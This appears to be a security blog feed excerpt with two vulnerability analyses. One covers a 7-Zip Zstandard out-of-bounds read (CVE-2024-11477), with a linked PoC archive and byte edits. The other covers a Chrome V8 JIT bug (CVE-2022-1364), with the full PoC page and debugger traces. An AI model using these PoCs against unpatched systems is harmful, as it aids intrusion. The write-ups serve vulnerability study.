<p>ℹ️ 也可以直接使用这个 <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=S0xVdi9XU0JBSjBIQUZKTkxpVWdqZWdCczN3RGJKRGU0cjhVUjBoQTVCbWtYSDBKeTZDditDNjNnYUYvQ2RDS1A0SUd6QmhKWk9LVXF0SXc3bjIwTFNCWTN1QndXWlNJbDZqSmNwQ3BLQ0NZdHRhbmtjRjBqQ1F5Y2VscVRGUFR3NVVZS2dnOStRdXoraytMN0QrMHhVNHdlMmZwUCtsbytFOUNhR0ZXM2IvcGJHeVNmdVBnYmZONEF0M01JQjBBb0dpbjY5TWlkTXdTcU1rWkZFU2xJRjF0NGI1d2I2Yy9RdERDZjh3RzJ1bEdOSitFNENOYVo3ODZPc0hzM3NrclRUdjlUQm9GRlFCQ084REpPRUJoWDUyY0NMZUF0UVBBeW1EVmhwY011RzU4WXlNNEpyTWFIaW92MHh4YkRXeEJvR0FsT05zOXcrQXlySThvZTh6S0JIWT0&oeol=VT">CyberChef 页面</a>下载 .zst 文档</p>
<hr />
<p>接下来我调试了 Client7z.exe 解压 poc.zst 的过程，发现 poc.zst 的 Symbol compression modes (0xC7 偏移处) 全为 0。
<img src="/assets/images/Pasted image 20241210144512.png" alt="" /></p>
<p>为了触发漏洞，我把他改成 <code class="language-plaintext highlighter-rouge">0b01010100</code>，再把后面 3 字节的数据全改成 <code class="language-plaintext highlighter-rouge">0xff</code>。</p>
<p><img src="/assets/images/Pasted image 20241210145918.png" alt="" /></p>
<p>改完后再次调试，发现已经可以触发越界读。</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ZstdDec.c:2197</span>
<span class="kt">size_t</span> <span class="n">litLen</span> <span class="o">=</span> <span class="n">GET_FSE_REC_SYM</span><span class="p">(</span><span class="n">STATE_VAR</span><span class="p">(</span><span class="n">ll</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">litLen</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// if (STATE_VAR(ll) & 0x70)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">litLen</span> <span class="o">>=</span> <span class="mi">16</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">const</span> <span class="kt">unsigned</span> <span class="n">extra</span> <span class="o">=</span> <span class="n">BASES_TABLE</span><span class="p">(</span><span class="n">SEQ_LL_EXTRA</span><span class="p">)</span> <span class="p">[</span><span class="n">litLen</span><span class="p">];</span> <span class="c1">// 运行到这里 litLen 为 0xff 已经超出了 k_SEQ_LL_EXTRA 数组的边界</span>
<span class="n">litLen</span> <span class="o">=</span> <span class="n">BASES_TABLE</span><span class="p">(</span><span class="n">SEQ_LL_BASES</span><span class="p">)</span> <span class="p">[</span><span class="n">litLen</span><span class="p">];</span> <span class="c1">// 这里也是</span>
<span class="cp">#ifdef Z7_ZSTD_DEC_USE_64BIT_LOADS
</span></code></pre></div></div>
<p>虽然可以触发漏洞了，但是由于这两个数组都是 static 数组，存储在 7z.dll 的 .rdata 段的，越界读刚好可以读到其他只读数据，不会触发崩溃，一个不会触发崩溃的 POC，总感觉差点什么，而且公告里说这个漏洞是可以造成一个 underflow 的，和我们分析的情况也明显不一样，所以接下来我们继续分析看怎么才能触发崩溃/ underflow。</p>
<p><strong>未完待续</strong></p>
<h2 id="typo">Typo</h2>
<p>分析漏洞的过程中还在 7z 项目中发现一个 typo，有空去刷一个 COMMIT 🙃</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// CPP/7zip/Archive/ArchiveExports.cpp:50
static int FindFormatCalssId(const GUID *clsid) // Calss -> Class
</code></pre></div></div>]]></content><author><name></name></author><category term="7zip" /><category term="ZDI-24-1532" /><summary type="html"><![CDATA[分析一下 7zip 漏洞 CVE-2024-11477/ZDI-24-1532，查看 ZDI 公告 提取到关键点： 24.07 修复，之前的版本有问题：那么我们 DIFF 24.07 和 24.06 的代码 漏洞出现在 Zstandard 解压的代码中]]></summary></entry><entry><title type="html">分析 CVE-2022-1363</title><link href="https://pwntips.github.io/2023/05/07/CVE-2022-1364.html" rel="alternate" type="text/html" title="分析 CVE-2022-1363" /><published>2023-05-07T00:00:00+08:00</published><updated>2023-05-07T00:00:00+08:00</updated><id>https://pwntips.github.io/2023/05/07/CVE-2022-1364</id><content type="html" xml:base="https://pwntips.github.io/2023/05/07/CVE-2022-1364.html"><![CDATA[<p>从 https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-1364.html 得到漏洞影响的 Chrome 版本以及 POC 代码。</p>
<h2 id="复现">复现</h2>
<p>从 https://vikyd.github.io/download-chromium-history-version/#/ 搜索到一个距修复版本比较近的版本 100.0.4896.124 的官方备份 https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/972766/</p>
<p>./Chrome.exe –js-flags=”–allow-natives-syntax” –no-sandbox –enable-logging=stderr 启动 Chrome，访问 POC 页面 index.html。</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><body></span>
<span class="nt"><script></span>
<span class="kd">function</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">bug</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">function</span> <span class="nx">C</span><span class="p">(</span><span class="nx">z</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">Error</span><span class="p">.</span><span class="nx">prepareStackTrace</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">t</span><span class="p">,</span> <span class="nx">B</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">B</span><span class="p">[</span><span class="nx">z</span><span class="p">].</span><span class="nx">getThis</span><span class="p">();</span>
<span class="p">};</span>
<span class="kd">let</span> <span class="nx">p</span> <span class="o">=</span> <span class="nb">Error</span><span class="p">().</span><span class="nx">stack</span><span class="p">;</span>
<span class="nb">Error</span><span class="p">.</span><span class="nx">prepareStackTrace</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">p</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">J</span><span class="p">()</span> <span class="p">{}</span>
<span class="kd">var</span> <span class="nx">optim</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">opt</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span>
<span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">b</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">c</span><span class="dl">'</span><span class="p">,</span>
<span class="dl">'</span><span class="s1">if(typeof a===</span><span class="se">\'</span><span class="s1">number</span><span class="se">\'</span><span class="s1">){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}</span><span class="dl">'</span> <span class="o">+</span>
<span class="dl">'</span><span class="s1">g++;</span><span class="dl">'</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="mi">70</span><span class="p">));</span>
<span class="kd">var</span> <span class="nx">e</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
<span class="nx">J</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span>
<span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">b</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">"use strict";b.a.call(arguments,b);return arguments[a];</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">J</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">a.b(0,a)</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">J</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span>
<span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">b</span><span class="dl">'</span><span class="p">,</span>
<span class="dl">'</span><span class="s1">b.c();if(a){</span><span class="dl">'</span> <span class="o">+</span>
<span class="dl">'</span><span class="s1">g++;</span><span class="dl">'</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="mi">70</span><span class="p">)</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">}</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">J</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">optim</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">z</span> <span class="o">=</span> <span class="nx">C</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">p</span> <span class="o">=</span> <span class="nx">C</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="nx">z</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="nx">e</span> <span class="o">=</span> <span class="p">{</span><span class="na">M</span><span class="p">:</span> <span class="nx">z</span><span class="p">,</span> <span class="na">C</span><span class="p">:</span> <span class="nx">p</span><span class="p">};</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">J</span><span class="p">();</span>
<span class="c1">// jit optim</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">bug</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">V</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="mi">1</span><span class="nx">E4</span> <span class="o">></span> <span class="nx">V</span><span class="p">;</span> <span class="nx">V</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">opt</span><span class="p">(</span><span class="mi">0</span> <span class="o">==</span> <span class="nx">V</span> <span class="o">%</span> <span class="mi">4</span> <span class="p">?</span> <span class="mi">1</span> <span class="p">:</span> <span class="mi">4</span><span class="p">,</span> <span class="nx">a</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nx">optim</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="nx">opt</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nx">a</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">e</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">e1</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e1</span><span class="p">.</span><span class="nx">M</span> <span class="o">===</span> <span class="nx">e1</span><span class="p">.</span><span class="nx">C</span><span class="p">);</span> <span class="c1">// prints true.</span>
<span class="nx">e2</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e2</span><span class="p">.</span><span class="nx">M</span> <span class="o">===</span> <span class="nx">e2</span><span class="p">.</span><span class="nx">C</span><span class="p">);</span> <span class="c1">// should be true as above but prints false.</span>
<span class="nt"></script></span>
<span class="nt"></body></span>
</code></pre></div></div>
<p>可以看到，两次 console.log 分别输出 true 和 false。</p>
<h2 id="分析">分析</h2>
<p>先简单看下 POC 代码，e1 和 e2 的来源其实是 J.prototype.c 函数中的 e，可以看到 e.M 和 e.C 都是函数调用 C(3) 的返回值，再看函数 C，看起来像是在获取当前的调用栈，在临近的位置调用两次 C 函数，另外还可以看到两次 foo 函数调用的不同之处，主要在是否对 opt 函数进行 JIT 编译。</p>
<p>先看函数 C，里面用到了 Error 和 StackTrace 相关的 API，搜索到一篇相关的介绍 https://v8.dev/docs/stack-trace-api ，读了以后了解到，Error 对象的 stack 属性，可以用来读 Error 创建时的调用栈，这个 stack 属性是在第一次被读取时，使用 Error.prepareStackTrace 函数生成的，Error.prepareStackTrace 的两个参数分别是 Error 对象和 structuredStackTrace。structuredStackTrace 是 Callsite 对象的数组，Callsite 就记录着每一层的栈帧信息，Callsite 的 getThis 方法就可以获取到栈帧对应的 this 对象。修改 Error.prepareStackTrace 就可以自定义 stack 属性的生成。</p>
<p>这样的话在临近位置，连续调用函数 C 返回的应该就是同一层栈帧对应的 this 对象。e2.M === e2.C 应该像注释中描述的也为 true 才对。继续分析 opt 函数的 JIT 编译做了哪些优化，为什么改变了这个结果。</p>
<p>用 ./Chrome.exe –js-flags=”–allow-natives-syntax –trace-turbo” –no-sandbox –enable-logging=stderr 命令重新启动 chrome，访问 POC 页面后，得到编译过程的 trace 日志 <a href="/assets/images/turbo-000000B00023E8B4-0%201.json">turbo-000000B00023E8B4-0 1.json</a>，用 <a href="https://v8.github.io/tools/head/turbolizer/index.html">v8 turbolizer</a> 打开</p>
<p>opt 函数整理一下，可以写成下面的形式：</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="nx">b</span><span class="p">,</span><span class="nx">c</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">a</span> <span class="o">===</span><span class="dl">'</span><span class="s1">number</span><span class="dl">'</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nx">a</span><span class="o">></span><span class="mi">2</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="nx">vari</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">i</span><span class="o"><</span><span class="mi">100</span><span class="p">;</span><span class="nx">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">b</span><span class="p">.</span><span class="nx">d</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="nx">b</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>其中 b.d 就是 j.prototype.d 可以整理成：</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">d</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">use</span> <span class="nx">strict</span><span class="p">;</span>
<span class="nx">b</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">arguments</span><span class="p">,</span> <span class="nx">b</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">arguments</span><span class="p">[</span><span class="nx">a</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>
<p>b.a 就是 j.prototype.a 可以整理成：
function (a) {
a.b(0, a);
}</p>
<p>a.b 就是 j.prototype.b 可以整理成：</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">b</span><span class="p">.</span><span class="nx">c</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;</span><span class="nx">g</span><span class="o">++</span><span class="p">;....</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>b.c 就是 J.prototype.c 整理成：</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">optim</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">z</span> <span class="o">=</span> <span class="nx">C</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">p</span> <span class="o">=</span> <span class="nx">C</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="nx">z</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="nx">e</span> <span class="o">=</span> <span class="p">{</span><span class="na">M</span><span class="p">:</span> <span class="nx">z</span><span class="p">,</span> <span class="na">C</span><span class="p">:</span> <span class="nx">p</span><span class="p">};</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>C 函数中的 Error().stack 抓到的调用栈应该是下面这样的：</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">C</span><span class="p">()</span>
<span class="nx">J</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">c</span><span class="p">()</span>
<span class="nx">J</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">b</span><span class="p">()</span>
<span class="nx">J</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">a</span><span class="p">()</span>
<span class="nx">J</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">d</span><span class="p">()</span>
<span class="nx">opt</span><span class="p">()</span>
</code></pre></div></div>
<p>那么 <code class="language-plaintext highlighter-rouge">B[z].getThis()</code> 获取到的就是 <code class="language-plaintext highlighter-rouge">J.prototype.a</code> 这一层调用的 <code class="language-plaintext highlighter-rouge">this</code>，也就是 <code class="language-plaintext highlighter-rouge">J.prototype.d</code> 函数中通过 <code class="language-plaintext highlighter-rouge">call</code> 函数指定的 <code class="language-plaintext highlighter-rouge">arguments</code> 对象, 应该是数组 <code class="language-plaintext highlighter-rouge">[1, globalThis.a, 1]</code></p>
<p>在调试器里跟踪一下 <code class="language-plaintext highlighter-rouge">Error</code> 对象的相关流程，学习一下 <code class="language-plaintext highlighter-rouge">Error</code> 对象的实现。
加入一个 <code class="language-plaintext highlighter-rouge">%SystemBreak()</code> 函数调用，让程序在构建调用栈时断下。</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">Error</span><span class="p">.</span><span class="nx">prepareStackTrace</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">t</span><span class="p">,</span> <span class="nx">B</span><span class="p">)</span> <span class="p">{</span>
<span class="o">%</span><span class="nx">SystemBreak</span><span class="p">();</span>
<span class="k">return</span> <span class="nx">B</span><span class="p">[</span><span class="nx">z</span><span class="p">].</span><span class="nx">getThis</span><span class="p">();</span>
<span class="p">};</span>
</code></pre></div></div>
<p>得到如下调用栈</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">base</span><span class="o">::</span><span class="n">OS</span><span class="o">::</span><span class="n">DebugBreak</span><span class="p">()</span>
<span class="p">[</span><span class="n">Inline</span> <span class="n">Frame</span><span class="p">]</span> <span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">__RT_impl_Runtime_SystemBreak</span><span class="p">(</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">Runtime_SystemBreak</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span>
<span class="mo">00007</span><span class="n">ffb1fecbcb7</span><span class="p">()</span> <span class="n">Unknown</span>
<span class="mo">00007</span><span class="n">ffb1ff6d5cb</span><span class="p">()</span> <span class="n">Unknown</span>
<span class="mo">00007</span><span class="n">ffb1fe4c9e2</span><span class="p">()</span> <span class="n">Unknown</span>
<span class="mo">00007</span><span class="n">ffb1fe4aa1c</span><span class="p">()</span> <span class="n">Unknown</span>
<span class="mo">00007</span><span class="n">ffb1fe4a61b</span><span class="p">()</span> <span class="n">Unknown</span>
<span class="p">[</span><span class="n">Inline</span> <span class="n">Frame</span><span class="p">]</span> <span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">GeneratedCode</span><span class="o"><</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">,</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">,</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">,</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">,</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">,</span><span class="kt">long</span> <span class="kt">long</span><span class="p">,</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="o">**>::</span><span class="n">Call</span><span class="p">(</span><span class="kt">unsigned</span> <span class="n">__int64</span><span class="p">)</span> <span class="n">Line</span> <span class="mi">156</span> <span class="n">C</span><span class="o">++</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="err">`</span><span class="n">anonymous</span> <span class="k">namespace</span><span class="err">'</span><span class="o">::</span><span class="n">Invoke</span><span class="p">(</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">Execution</span><span class="o">::</span><span class="n">Call</span><span class="p">(</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">ErrorUtils</span><span class="o">::</span><span class="n">FormatStackTrace</span><span class="p">(</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">ErrorUtils</span><span class="o">::</span><span class="n">GetFormattedStack</span><span class="p">(</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">Accessors</span><span class="o">::</span><span class="n">ErrorStackGetter</span><span class="p">(</span><span class="n">v8</span><span class="o">::</span><span class="n">Local</span><span class="o"><</span><span class="n">v8</span><span class="o">::</span><span class="n">Name</span><span class="o">></span><span class="p">)</span>
<span class="p">[</span><span class="n">Inline</span> <span class="n">Frame</span><span class="p">]</span> <span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">PropertyCallbackArguments</span><span class="o">::</span><span class="n">BasicCallNamedGetterCallback</span><span class="p">(</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">PropertyCallbackArguments</span><span class="o">::</span><span class="n">CallAccessorGetter</span><span class="p">(</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">Object</span><span class="o">::</span><span class="n">GetPropertyWithAccessor</span><span class="p">()</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">Object</span><span class="o">::</span><span class="n">GetProperty</span><span class="p">(</span><span class="kt">bool</span><span class="p">)</span>
<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">LoadIC</span><span class="o">::</span><span class="n">Load</span><span class="p">(</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">Handle</span><span class="o"><</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">Object</span><span class="o">></span><span class="p">)</span>
<span class="p">[</span><span class="n">Inline</span> <span class="n">Frame</span><span class="p">]</span> <span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">__RT_impl_Runtime_LoadNoFeedbackIC_Miss</span><span class="p">(</span>
